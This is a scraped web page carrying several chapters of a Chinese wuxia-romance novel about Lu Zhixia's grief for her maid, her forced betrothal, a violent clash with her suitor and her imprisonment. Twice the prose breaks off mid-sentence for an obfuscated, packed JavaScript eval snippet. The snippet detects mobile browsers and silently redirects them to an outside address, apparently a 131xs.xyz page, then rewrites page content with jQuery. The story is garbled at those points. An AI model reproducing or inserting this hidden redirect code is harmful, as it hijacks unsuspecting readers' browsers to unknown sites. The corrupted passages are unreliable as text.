陆知夏抬起一双红肿的眼睛,凄声质问陆子辰:“你怎么才来?若你早来一步,小玉就不会……” 陆子辰垂眸,“对不起。” 陆知夏心中生出一股无名火,放下小玉的尸体,揪住陆子辰衣襟大吼:“你平时不是很有能耐吗?关键时刻人在哪?什么首席大弟子,我看也是个没用的废物!” 陆子辰一言不发,任她捶打谩骂。真气翻涌,喉头涌起一阵腥甜,他侧头吐了口血,默默拭去唇边血渍。 陆知夏体力不支倒在泥水中,望着阴云密布的天喃喃:“老天爷,你为何如此残忍……”眼前一阵发黑,她的意识也渐渐模糊。 “知夏。” 失去知觉前,陆知夏看到陆子辰惊慌失措地爬向自己。她冷嘲一笑,疲惫地闭上双眼。 * “替我好好活着。” 意识混沌中,小玉临死前的话不断在陆知夏耳畔回响,她断断续续做了许多血腥惊悚的梦,终于在一个雷雨交加的午后恢复知觉。 “小玉……” 一道响雷震彻天地,陆知夏猛然睁眼。周围床幔陈设眼熟,她意识到自己正躺在云岚院的卧房内。 之前的事会不会只是一场噩梦?陆知夏想坐起来,手脚一动周身紧绷疼痛。她低头发现薄被下的自己不着寸缕,缠在她身上的是绷带。 一切都是真的! 她绝望躺平,热泪再度涌出。抱着一丝侥幸,她朝房门大喊:“小玉,小玉,你在不在?” 门外传来一阵细碎脚步声,陆知夏侧头一脸期待地望向房门。 少时,门开了,一名高挑清秀的陌生丫鬟端着一个铜盆走进来。陆知夏笑意凝在脸上。 “二小姐,是不是伤口很疼?奴婢这就去给你叫大夫。”一个清脆陌生的声音响起。 陆知夏叫住转身出门的陌生丫鬟,声音沙哑道:“你是谁?” 丫鬟回身恭敬道:“奴婢名唤小茶,是新调来云岚院侍奉您的丫鬟。” “出去吧,别来烦我。”心里猛然刺痛,陆知夏紧紧闭上双眼,热泪不停滑落打湿枕边。 小茶不走反而上前,用自己的帕子替陆知夏擦泪,轻声安慰道:“二小姐,人死不能复生,请节哀。” 良久,陆知夏才开口道:“小玉的尸首现在何处?” 小茶抿了抿唇,小声道:“您昏睡日久,加上天气炎热……早就烧了。” “烧了?!”陆知夏不安扭动,似要起身。小茶按住她,劝道:“小姐别乱动,您身上有几处伤口极深,如今好不容易愈合,再裂开又会流许多血。” 陆知夏拽住她的手,问道:“我究竟昏睡了多久?” 小茶叹息道:“您伤势严重失血过多,昏睡了十日有余。” 陆知夏再追问道:“那小玉的骨灰现在何处?” 小茶道:“暂时安置在英灵堂,掌门说等您痊愈再给她安葬。” 陆知夏怔怔躺回床上,望着帐顶的眸子变得黯淡无光。小茶替她盖好薄被,拧了湿帕子替她擦脸。 没过多久,屋外走来一个魁梧身影。小茶听到脚步声起身恭迎,“拜见掌门。” 陆掌门淡淡瞥了一眼这个陆知夏的新丫鬟,走到床畔坐下,说道:“婚事已延期,你且安心养伤。” 陆知夏不语,呆呆望着帐顶流泪。陆掌门叹了口气起身出门,陆知夏忽然说道:“我想把小玉葬在娘的墓旁。” “不行。”陆掌门回头说道:“丫鬟岂能与主子葬在一处?这不合规矩。” 陆知夏最烦父亲拿规矩来说事。人都没了还要受规矩约束,不知是谁吃饱了没事干设置这么多条条框框。 陆掌门耐心道:“小玉忠心护主,死得壮烈,我已命人为她撰碑,等你伤势痊愈再择日将她厚葬于默林吧。” 陆知夏不语。这样的结果她不满意却也无力改变。 陆掌门走后,江宛若过来探望陆知夏,顺便替她换药。 解开绷带看到陆知夏腿和手臂上狰狞的伤口,江宛若想起那日他们回山的情形,不由感慨:“那日你们浑身是血地回来,大师兄背着重伤昏迷的你去找王大夫,接着也倒下,把一向冷静的师父都吓坏了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083136|179450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我的命是小玉拿命换的。”陆知夏眼眶再度湿热,哽咽道:“是我没有保护好她。” 江宛若道:“魔教这次偷袭定是想破坏两派联姻,两位师兄都伤得不轻。大师兄至今仍在闭关疗伤,你醒来没事就好,切莫再自责伤身。” 陆知夏不语。她虽侥幸捡回一条命,却永远失去了一个关心在意自己的人,怎能不伤心难过? * 云苍山接连下了几日暴雨,陆知夏每日静静躺在床上养伤,白日睁眼,黑夜闭眼,除了江宛若过来探望时偶尔说几句话,平时她总是一个人闷着。小茶主动陪她说话解闷,她却丝毫不搭理。 转眼又过半月,天气也稳定晴好。 经过一段时间精心调养,陆知夏的伤已基本痊愈。挑了一个好日子,她身着缟素早早出门,去办那件记挂多日的要事。 李暮已候在院门外,手里提着一个装着香烛纸钱的篮子。今日陆掌门准陆知夏去料理小玉后事,派他陪同前往。 二人离开云岚院往英灵堂走去。路上,他们只是淡淡寒暄几句便不再说话。李暮知道小玉的死对她打击很大,强行说些安慰的话不如默默陪着她。 英灵堂里灯烛长明,这里供奉的除了历代掌门,还有许多为了门派舍生取义的弟子灵位。李暮和陆知夏跨入堂中,接过弟子递来的几支香,走到堂中给历代掌门英灵上香叩拜。 稍候片刻,一名弟子捧着小玉的骨灰盒过来,陆知夏双手接过抱在怀里,泪水再度迷蒙双眼。 出了英灵堂,二人往后山默林走去。 默林在墓园附近,来到岔路口时陆知夏停下,哽咽道:“二师兄,我想把小玉葬在我娘墓旁。她从小孤苦无依,除了我和娘一个亲人也没有,我不忍心把她一个人扔在默林。” “去吧。”李暮拍拍陆知夏的肩,答应替她保守这个秘密。 陆知夏十分感激。 默林那边还得立墓,否则容易让人起疑。二人分头行动,李暮让陆知夏把小玉的遗物给他去默林为小玉立个衣冠冢,陆知夏则带小玉的骨灰到墓园那边。太阳落山前办完事情他们再在岔路口汇合。 * 墓园一带平日很少有人来,陆知夏绕着母亲的墓走了一圈,最后停在一处花丛前。此处有花有草又能看到陆夫人的墓,将小玉葬在这里正好合适。 选好位置,陆知夏拿来小铲蹲在花丛里刨土,将小玉的骨灰盒连同一个布包放进去埋好。布包里是这次下山为小玉买的新衣裳首饰还有胭脂水粉。即便到了那边,她也要她的傻小玉打扮得漂漂亮亮的。 为防被人发现,陆知夏在新翻的土上移栽花草,直到弄得看上去不留痕迹她才放心。 “你放心,这条你用命换来的命我一定好好珍惜。你和娘在那边也要好好的,往后有空我一定带好酒好菜来看你们。”陆知夏对着花丛叩了三个响头。 天色不早,陆知夏与李暮汇合后一同回云岚院。 路上,陆知夏有些不放心,说道:“二师兄,我们这么做不会被发现吧?” 李暮道:“只要你那边不露痕迹,我这边你尽管放心。” 闻言,陆知夏紧皱的眉心渐渐舒展。李暮摸着她的头,温声道:“小玉走了我知道你很难过,但这世上没有谁能永远陪着我们走到最后,往后你一个人要学会照顾好自己。” “嗯。”陆知夏含泪点头。 * 夜里沐浴后,陆知夏倚在榻上小憩。清风透过雕花窗徐徐拂来,忙碌一日的她没怎么吃东西,如今又饿又困,昏昏欲睡。 隐约听到门外传来熟悉的脚步声,陆知夏习惯转头,唤道:“小玉。” 恍惚间,那个熟悉的憨厚丫头端着许多好吃的从门外走进来,笑问道:“小姐,我给你备了很多好吃的宵夜,快过来尝尝。” “嗯。”陆知夏点头,小脸流下两行热泪。她缓缓走上前,伸出的手还未触及小玉身体,眼前的人顷刻烟消云散。 “别走!”陆知夏猛然惊醒,魔怔一般起身追出门去。 这会儿桂嬷嬷和小茶已歇下,院里静悄悄的,没有半个人影。陆知夏在廊上一路小跑,不甚被门槛绊倒,重重摔倒在地。 “小玉,不要扔下我……” 凄凉的哭声惊动院里的人。小茶和桂嬷嬷寻出来时,陆知夏因为伤心过度晕厥在廊上,二人合力将她扶回屋里。 24. 来客(上) 小玉下葬后,陆知夏比之前更颓丧。虽然正常吃睡,但终日发呆不语,像一具没了灵魂的空壳。陆掌门担心她又想不开做傻事,便让她搬到云景院同姜氏小住几日。 陆知夏刚搬过来这日,陆子辰也正好伤愈出关。临近傍晚,陆掌门让人准备一桌好菜,晚上一家人小聚。 入夜,小茶进屋请陆知夏去小厅用膳,一进门又看到陆知夏对着盆栽自言自语,唤了好几声她才有反应。 陆知夏不情愿地换了身衣裳随小茶出门。 未到厅上,听到一家三口的欢笑声陆知夏顿时改变主意转身要回房。 “知夏,到了还不快进来。” 身后传来陆掌门严厉的声音,陆知夏捏紧衣袖,转身步入厅内。 敞亮雅致的厅中摆着一张圆桌,一家三口围坐一旁看向来人。陆掌门身边的貌美妇人朝陆知夏微笑招手,“知夏,来姨娘身边坐。” 陆知夏不喜姜氏,但也不想坐到陆子辰身边,权衡之下还是乖乖到姜氏身边落座。 姜氏温暖的手掌覆上陆知夏手背,叹息道:“可怜的孩子,最近又清瘦不少,伤好得差不多了吧?” 陆知夏杏眸低垂,淡淡点头。 陆掌门不悦道:“你这孩子,不就是死了个贴身丫鬟吗,成天蔫着张脸给谁看?” 陆知夏秀眉微皱,攥紧衣角。若是从前她早就顶撞回去,但如今她无心跟任何人争吵,吵赢吵输都没有任何意义。过了片刻,她才开口:“小玉不止是我的贴身丫鬟,还是我的家人。” “家人?”陆掌门冷嗤,厉声道:“那丫头同你有血缘关系吗?在座的才是你的家人。今日咱们一家好不容易团聚,你丧着一张脸让大家看了都难受,这顿团圆饭还怎么吃?” 陆知夏起身,淡淡道:“既是如此,知夏便不在此处碍眼,先行告退。” 陆掌门气得嘴唇轻颤,拍案而起,“你这孩子怎的越发不懂事!” 姜氏拉陆知夏坐下,好言劝和道:“孩子刚死里逃生,心绪不佳也正常,离哥你就少说几句吧。” 陆掌门叹了口气坐下,“罢了,上菜吧。” 丫鬟们将佳肴美酒陆续摆上桌。陆家父子在聊天,姜氏拉着陆知夏说体己话,之前席间紧张的气氛很快被冲淡,一家人和睦用餐。 姜氏不断往陆知夏碗里夹菜,但陆知夏没胃口,只吃了一点便停筷。姜氏温声劝道:“多吃点,姑娘家圆润些才有福气。” 陆知夏心里忍不住犯嘀咕,再有福气她还不是得嫁给一个傻子? 刚搬过来姜氏对陆知夏颇多照拂,席间也热情待她,但陆知夏依然感受不到半点这个家的温暖,反而觉得他们在可怜她这个无依无靠之人。 晚膳后,一家人喝茶闲聊。陆知夏对他们的对话不感兴趣,坐了一会儿便起身告退。 出了小厅,耳根终于清静下来,陆知夏松了口气,独自慢慢转回去。云景院比云岚院大好几倍,有花园凉亭,还有一处碧绿清香的荷塘。各处打理布置得比从前空置时高雅许多。这座院子父亲本是要留给她的,可还未满十岁她的家就散了…… 穿过靠近荷塘的走廊,陆知夏倚着栏杆望着盛放的白荷出神。身后传来脚步声,陆知夏转头蓦然对上一双清冷眸子。 真是冤家路窄,陆知夏收回目光,快步往前走。身后的人不知为何追上来一把将她拽住。 “你干什么?”陆知夏抬头瞪着莫名其妙的陆子辰。话音刚落,身上几处穴道被他轻点,她感到丹田一阵热流涌动,四肢百骸瞬间无比轻松。 “慌什么,我只是替你解穴。”陆子辰今日看起来没有往日那般冷酷,松开手,说道:“之前是我考虑不周,那日若不是你内力被封……” “别说了。”陆知夏冷声打断他的话,那日发生的一切她不敢再回忆,提起裙子往前跑。 看着纤瘦身影消失于长廊尽头,陆子辰垂眸,神色失落。 陆知夏匆匆回房关门,靠着门背缓缓蹲下。她知道那日陆子辰他们自保尚难,没有精力顾及她们。小玉的死他们都有责任。尤其是她,若不是为了保护她,小玉就不会…… 陆知夏将头埋在膝盖上,闷声痛哭。 * 几日后,云苍派宽敞气派的大门前来了十辆缠着红绸的马车,陆掌门亲自出门迎接远道而来的玄阴派一行人。 携众登门送聘礼的是玄阴派大弟子秦啸天与二弟子孙仲平。同行的还有准新郎刘斐及其堂姐刘莹。 陆掌门听陆子辰说他们一个月前就到了云炀城,因为刘斐受伤未能及时上山。后来出了陆知夏遇袭受重伤一事,婚事延期他们又折返,这回登门陆掌门向他们深表歉意。 一行人步入厅堂。刚落坐,刘斐左顾右盼,失望道:“堂姐,你说小仙女住在这里,怎么没瞧见她?” 陆掌门不清楚刘斐口中的“小仙女”是何人,神情稍显不快。哪有女婿当着老丈人的面提其他女子的? 刘莹笑着解释道:“陆掌门别误会,先前斐儿同陆小姐在云炀城见过面,他口中的‘小仙女’正是陆小姐。” “原来他们已经见过了。”陆掌门抚须一笑,“斐儿莫急,晚上设宴为你们接风洗尘时就能见到她了。” “真的?太好了。”刘斐高兴得手舞足蹈。他跑到厅外边看了一眼天色,对着太阳又拜又念,似是祈祷它快些落下。一番单纯幼稚的举动惹得众人好笑。 * 云景院里,陆知夏一个人在花园里散步,路过凉亭的时候,姜氏朝她招手,“知夏,天气闷热,过来坐坐喝杯茶。” 陆知夏面无表情走上凉亭。姜氏面前摆着一沓女子画像,眉间隐有忧色,似在为陆子辰择偶。陆知夏暗暗冷嘲,想不到陆子辰也难逃被人操控婚姻的命运。 落座后,丫鬟给陆知夏斟茶。姜氏望着手里的画像叹气,“太难选了,这些姑娘一个个都这么水灵,家室也不错,真不知该挑哪个?” 陆知夏端起茶,淡淡道:“画像与真人还是有些不同的,不如把她们都请来云苍让他当面挑。” “这怎么行。”姜氏道:“她们都是大户人家的小姐,面子比纸薄,咱们这么做会得罪人的。” 陆知夏刚才只是随口一说,并未在意。姜氏忽然握住她的手,说道:“知夏,不如你帮我挑吧。” 陆知夏眼角微抽。她自己的婚事都不如意,哪有心情管别人的? 姜氏缠着她不放,非要她帮忙参谋。陆知夏不耐烦,随手从画像里抽出一张放在桌上,“呐,就她吧。” 姜氏汗颜,她看都不看一眼就这么草率决定?看来陆子辰与她的兄妹关系果然不怎么样。 气氛一时尴尬,陆知夏一本正经为自己草率的行为解释:“既然姨母说她们条件都差不多,那不如让天意决定,您说是不是这个道理?” “好像……有点道理。”姜氏苦笑。今日接触,她觉得陆家的这个女儿确实与别的大家闺秀不同,性子直爽又精明,难怪常惹威严古板的陆掌门动怒。 陆知夏忽然想起之前在云炀城撞见陆子辰逛花船的事,小声道:“其实姨母不必太操心大师兄的婚事,说不定他心里已有心仪之人,只是不好意思告诉你。” 姜氏听出她话里有话,“莫非知夏知道什么?” 陆知夏凑到姜氏耳边,把那晚在云炀城看到的告诉她。姜氏怔怔道:“想不到子辰心仪的是一名舞姬,难怪从未听他提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083137|179450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起。” 陆知夏阴阳怪气道:“是吗,我还以为你们母子之间无话不说。不过兴许是我弄错了,姨母莫往心里去。” 姜氏捏紧手里的茶杯,一副心绪繁杂的模样。陆知夏暗暗冷笑,将杯中茶水饮尽后起身告退。 陆知夏刚回屋,小茶匆匆走来,说道:“小姐,玄阴派的人已登门下聘,刘公子也来了。方才掌门派人过来传话,让您今晚盛装打扮到花厅赴宴。” 话音刚落,陆知夏匆匆出门,小茶即刻跟上去。 云岚院门前好不热闹,仆从们抬着一箱箱系着红绸的箱子进门,桂嬷嬷面带微笑站在院中指引。陆知夏在门外停留片刻便离开。上次计划果然不奏效,该来的终究还是来了。她叹了口气,失魂落魄回云景院,路上无视一切道喜的声音。 逃不可逃,死不能死,就连抹黑自己的名声也无用,她似乎走入了死胡同。陆知夏仰头望天,难道她注定要当刘家的媳妇? * 日落时分,陆掌门派仆从来请陆知夏去花厅赴宴,小茶正好为她更衣妆点完毕。 陆知夏打了个哈欠,倦声道:“不去行不行?” 小茶和传话的仆从面露难色。 仆从恭敬道:“二小姐,事关两派联姻,您的婚姻大事,掌门让您一定出席。” 陆知夏叹了口气,不情愿地随他们离开。 门中比往日热闹,陆知夏却心不在焉,脑中思考着等会儿如何应对玄阴派那帮人,完全没注意周围人向她投来艳羡的目光。 行至花厅,陆知夏刚跨入门,厅上立时安静下来,数道目光齐齐集中在她身上。 “我脸上有东西吗?”陆知夏小声问身边的小茶。 小茶微笑道:“小姐很美,大家是看呆了。” “胡说。”陆知夏颇感不自在。她可不是故意打扮成这样来出风头的,要怪就怪她整日胡思乱想、魂不守舍,出门前也忘了照镜子。 来都来了,陆知夏低着头缓步上前,盈盈朝坐主位的父亲和主客刘斐作礼。众人的目光一直随她移动。 今日小茶给陆知夏着的是新衣裙。陆知夏肤质白皙,配上这身鹅黄广袖修身锦缎长裙,点上浓淡恰到好处的桃花妆,整个人看上去端庄大方,娇美动人。陆掌门捋须微笑,女儿今日这身打扮给他长了一回脸。 晚宴重要,席间除了重要来客,姜氏和陆掌门座下弟子都在,厅中大圆桌坐得满满当当。丫鬟引陆知夏入席,她的位置在姜氏和陆子辰中间,斜对面便是看着她两眼发直的刘斐。 陆掌门笑道:“斐儿,你不是想见知夏吗?如今见到了,你对她可有什么想说的?” 刘斐看着陆知夏,脸红羞怯道:“小仙女,礼物都送到你家了,你也跟我回家吧,我想天天见到你,天天跟你玩。” 天真直率的表白令众人微笑,陆知夏却静静坐着没有任何表示。 气氛逐渐尴尬,陆掌门笑道:“看来斐儿很喜欢知夏。不过凡事得讲规矩,等我与你爹挑好良辰吉日你才好迎娶她过门。” 陆知夏暗暗松了口气。这桩破婚事,能拖一日是一日。 秦啸天道:“临行前师母说下聘后两派婚事即定牢。至于大婚吉日,待二小姐身子彻底康复由您定便可。” 陆掌门道:“知夏身子已无大碍。既是如此,我尽快择吉日了却两家一桩心事。” 酒菜上齐,众人举杯共饮。两家人围绕着婚事谈笑。陆知夏心里不是滋味,闷声低头吃菜,偶尔客套应付几句父亲抛过来的话。熟悉她的人都知道她不高兴。 李暮看着席上刘斐吃得满嘴油腻,憨笑不断的样子胸口发闷。实不敢想陆知夏嫁给他之后的生活,心事愈发沉重。 25. 来客(下) 宴后,两家移步偏厅小坐。 谈话仍是围绕着婚事,后来又扯到江湖是非,陆知夏觉得甚是无趣,眼皮开始打架,便借口身体不适先行离开。 没走多远,陆知夏听到身后传来匆忙脚步声,刘斐又屁颠屁颠追上来。 “小仙女,你怎么不理我?”陆知夏一晚上没怎么说话,刘斐十分郁闷。 陆知夏懒得理他,大步往前走。刘斐也大步跟来,扯住她衣角,说道:“是不是斐儿做错什么惹你不高兴了?不然你打我吧,我不会躲的。” 陆知夏忍无可忍转身,“你能不能离我远点?” 刘斐只顾说话没留意,二人迎面相撞往前摔去。 一声闷响,陆知夏只觉后背疼痛,仰面躺在地上,疼得龇牙咧嘴。刘斐趴倒在她身上幸免于难。二人姿势尴尬,附近瞧见的人侧目偷笑。 “混蛋,还不快起来!” 刘斐被吼,慌乱爬起来。掌心无意间覆上一团微突的棉软,他好奇捏了捏。 陆知夏脑子一片空白,脸瞬间红到耳根,下意识握掌成拳,嚯地坐起来一拳将刘斐揍飞。 “登徒子!”陆知夏仍不解气,站起来捞起袖子朝刘斐走去,银牙咬得咯吱作响。 “呜呜呜……”刘斐捂着半边痛脸流泪,转眼又见陆知夏杀气腾腾走来,吓得手脚并用往前爬。 “你死定了。” 陆知夏满脑子只想出口恶气,不管不顾冲上去踩住刘斐袍子,将他翻过来挥拳一顿痛揍。 生猛铁拳连击。才片刻功夫,刘斐刚养好的脸又添青紫,疼得惨叫不止。 “住手。” 身后同时传来几声厉喝,几道惊诧目光射在陆知夏背影上。 但为时已晚,一记裹挟着陆知夏深重怨气的拳头重重砸在刘斐鼻梁上,顿时血柱飞溅,刘斐重重倒地抽搐。 “斐儿!” “公子!” 玄阴派的人赶上前,陆子辰先他们一步拽陆知夏到一旁,厉声道:“陆知夏,你又发什么疯?忘了上回我对你的警告吗?不闯祸你是不是浑身难受?” “这回真是他调戏我,他的咸猪手竟敢摸我的……”陆知夏不好意思说出口,憋得小脸通红。 秦啸天扶起被揍得意识不清的刘斐,怒声道:“陆师弟,舍妹莫不是有躁狂症?为何动不动就打人?” 刘莹也抹泪心痛道:“斐儿是叔叔的心头宝,平时家里人都舍不得打,他究竟犯了什么错陆小姐要下此狠手?” 孙仲平道:“如此凶蛮之女怎配做我玄阴派未来主母,这桩婚事不如作罢。” 陆子辰眉头深锁,面色阴沉,冷冷道:“此事明日我自会给各位一个交代,先带刘公子下去治伤要紧。” “我们现在就要一个说法。”孙仲平不依不饶。秦啸天不语,似也不肯罢休。 李暮和其余弟子赶到,上前劝解。但玄阴派弟子仍不依不饶,两派弟子逐渐为此事争吵起来。 事情闹大,陆子辰压不住,想先带陆知夏离开。孙仲平拦住他们,要求一同去请陆掌门评理。无奈,陆子辰命赵钧去请陆掌门。 * 夜深,执法堂依旧灯火通明。 陆掌门负手立于堂中,看着下边争吵不休的晚辈头疼。跪在中间那个犯事的倒格外安静。 刘斐的伤已简单处理过,蔫蔫坐在椅子上看自家人与对面的人争吵,目光又不时瞟向跪在地上的陆知夏,心里难过又有些委屈。 陆掌门在弟子们的争吵声中大致弄清事情原委,沉声道:“知夏,斐儿无心冒犯,你怎能对他下这么重的手?快向他赔个不是。” 陆知夏无动于衷,神情似有不服。 陆掌门道:“聘礼已收,亲事铁定。你已是刘家的半个媳妇,斐儿碰碰你怎么了?日后你们还要同住一个屋檐下。” 陆知夏捏紧衣角,嘀咕道:“可我们现在还不是真的夫妻。” 江宛若也出列道:“师父,两派虽已定亲,但知夏还未出阁,刘公子妄行逾矩之事确实不妥。” “你懂什么?”陆掌门冷喝道:“她就是任性妄为惯了!” 江宛若低头退下。 陆掌门不耐道:“知夏,立刻起来给你未来的夫君道歉。” 陆知夏道:“这件事我没错,该道歉的是刘斐。” 秦啸天早看出陆知夏对这桩婚事不满,上前一步拱手道:“陆掌门,刘陆两家联姻关系两派情谊的延续,若二小姐对这桩婚事不满大可不必勉强,否则日后嫁到玄阴整日拿斐儿撒气两家都不得安宁。” 陆掌门眼中蕴着怒火,沉声道:“如今六大门派情谊本就淡薄,为了这点小事取消婚事岂不被外人耻笑?我想你师父也不会同意。” 秦啸天明白其中厉害关系,但也容不得自家公子屡屡受辱,说道:“陆小姐重伤我家公子,陆掌门总得给她点教训让她长长记性吧。” 陆掌门面色一沉,下去随手拔出一名弟子的剑走向陆知夏。 “师父不可。”李暮上前阻拦,被陆掌门一掌推开。 其他弟子也上前拦住陆掌门,江宛若劝道:“师父息怒,今日大喜之日没必要见血啊,您打她骂她一顿便好,往后她一定不敢再犯。” 秦啸天冷哼,“这可是她第二次打伤斐儿。” 闻言,陆掌门怒不可遏,眼中满是杀气,推开一众弟子,愤愤道:“她成天给我闯祸,今日我便挑断她的手筋,看她往后如何胡作非为。” 话音刚落,锋利长剑朝陆知夏刺去。 陆知夏并未闪躲,反而将双手抬起。就在父亲拿着剑朝她走来的那一刻她就释然了,这世上好像再也没有什么值得她牵挂留恋的东西。 剑刃刺近时,一剑倏然斜出,巧妙将陆掌门的剑锋带偏,顺势死死抵住。 陆掌门顺着对方的剑望去,没想到阻挡他的竟是一向顺从的儿子。 陆子辰道:“断了手筋知夏便是废人,往后连自理都困难,嫁过去如何服侍刘公子?爹不如换个惩罚。” 刘斐也上前扯住陆掌门衣袖,哽咽道:“陆伯伯是我不好,请你不要伤害小仙女。” 陆掌门叹息收剑,闭眼冷喝:“把她关进静思洞,不许给她优待,也不许任何人探视。” 闻言,云苍派众弟子皆松了口气。玄阴派的人却显得有些不甘,但在别人地盘上他们也不好提太过分的要求。 江宛若将木然的陆知夏从地上扶起来,随两名执法堂弟子离开。 陆子辰收剑,无意间看到陆知夏胸前新衣裳上沾染的灰指印,心底莫名燃起一股怒意。 时辰不早,玄阴派的人也带刘斐下去休息。 临走前,孙仲平淡淡道:“陆掌门再不严格管教令爱,他日嫁到玄阴若是犯错,可不只被关禁闭这么简单。” 陆掌门冷哼,并未同一个小辈置气,回座上淡定喝茶。 其他人悉数离开,陆子辰朝堂上的人单膝下跪,道:“方才是子辰鲁莽冲撞了爹。” “起来吧。”陆掌门叹了口气,放下手中茶盏往座上一靠,疲惫道:“你没错,是我方才被气昏头了。若废了她,我这步棋就白下了。日后她受苦不说,还会让人瞧不起咱们云苍的人。” 陆子辰道:“知夏排斥刘公子,只怕嫁过去也不会安分,爹要有心理准备。” 陆掌门不以为意,“刘夫人可精明着,知夏不是她的对手。成婚后,刘夫人自然有手段让二人安生过日子,不必我们操心。” 一切已成定局,陆子辰不再多言。 夜已深,父子二人离开执法堂。陆掌门今夜心绪不佳,一个人回云朝阁。陆子辰也独自回云景院。 * 姜氏提着灯笼在院门外等候,瞧见儿子熟悉的身影,抬步微笑走上前。 陆子辰道:“这么晚娘为何还不歇息?” “回来不见你,知夏又出事,我怎么睡得着。”姜氏叹息,“摊上这种爹,孩子不命苦才怪。” 陆子辰警惕地看了一眼周围,同姜氏并肩往院里走,将晚上发生的事告诉她。 姜 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他说:“在达成我们的目的前,我会像您的亲生儿子一样孝敬您,保护您。”说这话的时候,他眼神坚定不移,像个稳重老成的小大人。那时候她便认定他是她的子辰冥冥中安排来她身边的,当即点头答应他的请求。 晃眼十多年过去,小大人挑着千钧重担也长成了顶天立地的男子汉。这些年他确实没让她吃一点苦,因为风雨都是他一个人默默在扛…… * 翌日,秦啸天前来向陆掌门辞行。聘礼已送达,昨夜两派又发生不快,他无心久留。 陆掌门也不挽留,让陆子辰代为送客。 临行前,头脸缠满纱布的刘斐满眼不舍地站在云苍派大门前回望,久久不肯上马车。 刘莹劝道:“斐儿,陆小姐不会来了,咱们去云炀城买糖葫芦吃好不好?” “我要见小仙女。”刘斐嘟着嘴不肯走。旁人稍不留神他又跨进大门。刘莹把他拉回来,对陆子辰尴尬一笑,“斐儿不懂事,让陆公子见笑了。” 陆子辰淡淡道:“天色不早,诸位还是尽快启程吧。”刘莹欠身向他一礼,拉刘斐上马车。 秦啸天也朝陆子辰抱拳一礼,与众弟子跨上马,打马启程。 送走玄阴派的人,陆子辰独自往后山一处僻静林子里走去。在空地上吹了一声响哨,稍候片刻,一名头戴黑色鬼面的神秘人从林中跃来,单膝跪于他身边,抱拳道:“少主有何吩咐。” 陆子辰眼神阴郁,冷冷道:“废了刘斐一只手。” “是。”鬼面人领命而去,松了口气。不知怎的,今日的少主让他感觉格外可怕,方才走近他那一刻他浑身寒毛都竖起来了,问题是这种感觉以前从未有过。 既已来了后山,陆子辰便顺道去静思洞。 虽然陆掌门有令任何人不得探视陆知夏,但陆子辰身份特殊,弟子们都不敢得罪,只好睁一只眼闭一只眼让他进洞。 一名弟子举着火把领陆子辰来到一处布满苔藓的洞室外。 陆子辰透过铁门上的小窗往洞室里瞧,里面黑黢黢的什么也看不到,隐约能听到老鼠的吱叫声,空气里还有股潮湿发霉的味道,环境比一般的监牢还要差。 陆子辰皱眉,回头问弟子:“她情况如何?你们进去看过她吗?” 弟子回答:“大师兄放心,隔两个时辰就有人来巡视,二小姐进来后吃睡都正常。” 这是陆知夏第三次被关静思洞,有了前两次出事的教训,弟子们把她看得很紧。好在她一直安安静静没给他们添麻烦。 陆子辰吩咐道:“姑娘家都怕黑,去给她点盏灯。” 弟子道:“之前点了,或许二小姐嫌刺眼灭了。” “黑灯瞎火的,她如何度日?”陆子辰喃喃,又似在询问。 弟子道:“二小姐除了偶尔躺躺,一直抱膝缩在墙角,许是在静心思过吧。” 陆子辰走到铁门前,右手抬起又放下,默默站了片刻,转身离开。 26. 意外 云朝阁书房里,香炉青烟袅袅。陆掌门与师弟齐威相对坐于棋盘两端,对弈品茗。 棋盘上黑白二子“搏杀”已到关键时刻,陆掌门手执黑子眉头紧锁,剖析局势半天,他终于摇头苦笑道:“我输了。” 齐威淡淡一笑,道:“方才师兄若不急于吃我二子,完全有机会封住我那颗白子的路。”话音微顿,他意味深长看了陆掌门一眼,“师兄还是太心急了。” 陆掌门抚须道:“太多年没静心下棋了,若是从前你可没这么走运。” 齐威道:“原来师兄还记得从前,那可曾念过旧人?” 陆掌门面色微沉,“师弟今日过来恐怕不止是想同我下棋吧。” 齐威不再拐弯抹角,说道:“我听说知夏昨晚闯祸又被关静思洞。知夏这个孩子本性不野,师兄难道不知她为何一再反叛吗?门派的利益固然重要,但她是你和小师妹唯一的女儿,不是你用来换取利益的棋子。我希望你不要再伤她的心,把她往绝路上逼。” “够了!”陆掌门拍案而起,“我的女儿我想怎么养就怎么养,婚事也由我这个做爹的决定,你一个外人管得太宽了吧!” 齐威道:“大家同门一场,我只是不希望你把小师妹的女儿逼死。” 陆掌门嗤笑道:“难不成这些年你从未放下过她?” 袖子下的手收紧,齐威平静道:“师兄误会,她与你成亲后我就放下了……” “那你今日来找我又是为了谁?”陆掌门不依不饶。 齐威道:“逝者已矣,往日恩怨我无心追究。但知夏是我从小看着长大的孩子,我不忍看她跟她娘一样郁郁终生。” 陆掌门坐下,说道:“师弟这些年闲居一隅,不知如今江湖局势复杂。姓闫的一直暗中拉拢各派孤立云苍,乌月教又卷土重来,若我派还像从前那样自视清高,早就无法在这残酷江湖立足。” 齐威道:“闫盟主侠肝义胆,古道热肠,怎会行如此卑劣之事,师兄会不会是多心了?” 陆掌门冷哼,“那都是表象,他真正的厉害你们都未见识过。” 